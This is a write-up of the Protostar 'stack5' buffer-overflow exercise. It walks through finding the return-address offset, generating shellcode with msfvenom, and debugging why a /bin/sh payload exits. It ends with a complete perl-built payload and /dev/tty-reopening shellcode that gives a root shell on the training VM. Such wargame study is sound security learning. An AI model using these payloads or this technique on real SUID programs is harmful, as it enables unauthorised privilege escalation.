Wow, this challenge was a tough one for me. I ran into some huge problems that I had to work out. Considering this is a “standard buffer overflow”, I figured it’d be as easy as some of the others I’ve done in the past. I’ll explain my frustrations inline.
First, we’re given the following vulnerable program.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
The first task with this challenge was to find the offset of the EIP. Like previous challenges, I used Metasploit’s pattern_create.rb and pattern_offset scripts on another machine.
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
user@protostar:/opt/protostar/bin$ gdb --quiet ./stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run
Starting program: /opt/protostar/bin/stack5
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x63413563
76
Now we know that we have 76 characters we could put our shellcode in before the EIP. I was curious to see if we would have any after as well. I wanted to explore a little, so I ran this.
user@protostar:~$ perl -e 'print "A"x76 . "\xEF\xBE\xAD\xDE" . "C"x100' | ./stack5
Segmentation fault (core dumped)
user@protostar:~$ gdb --core=/tmp/core.11.stack5.4174 --quiet
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0 0xdeadbeef in ?? ()
(gdb) x/10s $esp
0xbffff7e0: 'C' <repeats 100 times>
0xbffff845: "b\377\267\233\333\352\267\364\357\377\267\001"
0xbffff852: ""
0xbffff853: ""
0xbffff854: "\020\203\004\b"
0xbffff859: ""
0xbffff85a: ""
0xbffff85b: ""
0xbffff85c: "1\203\004\ba\004\b\001"
0xbffff866: ""
Interestingly enough, it looks like we at least have 100 characters after our return address that we could use to store longer shellcodes. This could come in handy if using shellcodes generated from msfpayload.
So now we know that we can jump to 0xbffff7e0 to get into our C area. Let’s pad it with a couple NOPs just in case, and jump to 0xbffff7d6 instead.
Up until now, this was a simple buffer overflow problem. One may even call it a textbook problem. Now here’s the part that had me frustrated.
I decided I would try using msfpayload to generate some shellcode like I’ve done many times in the past. Since I just want to run /bin/sh, I figured it’d be an easy way. I also went through the exercise of finding all the badchars (I’ll cover this later, since it doesn’t matter here).
msfvenom -p linux/x86/exec -f pl -b '\x0d\x0a\x00\xff' CMD=/bin/sh PrependSetresuid=true
[*] x86/shikata_ga_nai succeeded with size 80 (iteration=1)
my $buf =
"\xdb\xc8\xd9\x74\x24\xf4\xba\x2a\xa1\xa4\x48\x5d\x29\xc9" .
"\xb1\x10\x31\x55\x17\x83\xed\xfc\x03\x7f\xb2\x46\xbd\x4e" .
"\x7d\xb7\xe5\x47\x9e\x08\xbd\x6a\xe1\x03\xb5\x2c\x7b\x81" .
"\xaf\xa4\x56\x45\xb9\xd3\xc1\xa6\xca\x73\x12\xd1\x03\xe1" .
"\x7b\x4f\xd5\x06\x29\x67\xed\xc8\xce\x77\xc1\xaa\xa7\x19" .
"\x32\x59\x50\xe6\x1b\xce\x29\x07\x6e\x70\x18\x13\x1b\x71" .
"\x03\x6e\x5c";
This generated shellcode looked awesome. I configured it to not have any of my badchars, to run “/bin/sh”, and to prepend that execution with a setresuid() so that the SUID bit would affect my result, giving me a root shell, instead of just a shell I already had. So I set it all up:
user@protostar:~$ perl -e 'print "A"x76 . "\xd6\xf7\xff\xbf" . "\x90"x16 . "\xdb\xc8\xd9\x74\x24\xf4\xba\x2a\xa1\xa4\x48\x5d\x29\xc9\xb1\x10\x31\x55\x17\x83\xed\xfc\x03\x7f\xb2\x46\xbd\x4e\x7d\xb7\xe5\x47\x9e\x08\xbd\x6a\xe1\x03\xb5\x2c\x7b\x81\xaf\xa4\x56\x45\xb9\xd3\xc1\xa6\xca\x73\x12\xd1\x03\xe1\x7b\x4f\xd5\x06\x29\x67\xed\xc8\xce\x77\xc1\xaa\xa7\x19\x32\x59\x50\xe6\x1b\xce\x29\x07\x6e\x70\x18\x13\x1b\x71\x03\x6e\x5c"' > /home/user/file
user@protostar:~$ /opt/protostar/bin/stack5 < /home/user/file
user@protostar:~$
So um, I should have got a shell there right? There was no segmentation fault, it ran cleanly. I tinkered by putting “\xcc” before the shellcode, and it would give me a message letting me know that it hit it. I knew for sure my shellcode was being executed, but no results. To verify, I used gdb:
user@protostar:~$ sudo gdb --quiet /opt/protostar/bin/stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) run < /home/user/file
Starting program: /opt/protostar/bin/stack5 < /home/user/file
Executing new program: /bin/dash
Program exited normally.
What this showed me was 2 interesting things. Firstly, I was not aware that many distributions now map /bin/sh to /bin/dash (more info here). Secondly, and more importantly, I knew for sure that my shellcode was executing, and creating the process. I just didn’t know why it exited after.
So this is the point that I spent 5 days on and off messing with. I found if I changed the msfvenom command from CMD="/bin/sh" to CMD=“touch /tmp/iamawesome”, the file would be created with root permissions. Any command that didn’t need to return to me for interactive control worked fine. I tried a myriad of other shellcodes, and nothing just gave me a simple shell. I could bind a shell to a TCP port, or run a meterpreter with no problem, but for this challenge, I just wanted a simple rootshell from “execve()”.
So one night, I was reading on this, and just happened to get my search query perfect, because I stumbled upon an interesting stackoverflow page, here. This guy was having the same problem as me! And interestingly enough, he mentions problems with programs that use the “gets()” function. This makes sense, as your standard input/output could be configured in a mode just for the function call. Unfortunately, the shellcode that was mentioned was hosted at milw0rm, which has been down for a good long time. Many sites, such as Exploit-Db have popped up to fill the void that milw0rm left. However, they use a completely different url structure, so I had no idea what the shellcode was. Well, I used the Internet Way-Back Machine, and found an old cache of milw0rm. From there, I found the shellcode. I also found that Exploit-Db has it here as well. I read through the description of the shellcode, and it makes tons of sense. So I wire it up to try again, this time with the new shellcode.
user@protostar:~$ perl -e 'print "A"x76 . "\xd6\xf7\xff\xbf" . "\x90"x16 . "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > /home/user/file
user@protostar:~$ /opt/protostar/bin/stack5 < /home/user/file
# whoami
root
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Awesome. I have a root shell. I guess it’s also worth pointing out that since we are specifically jumping to a memory address in our exploit, that memory addresses can change based on how you call it. The address will be different if I call ./stack5 from inside the /opt/protostar/bin folder, than if I use the full path. Since I was using gdb, and it calls files using the full path, I did it as well for the exploit. For now, we have not yet covered how to dynamically get that value. That will be for a later post.
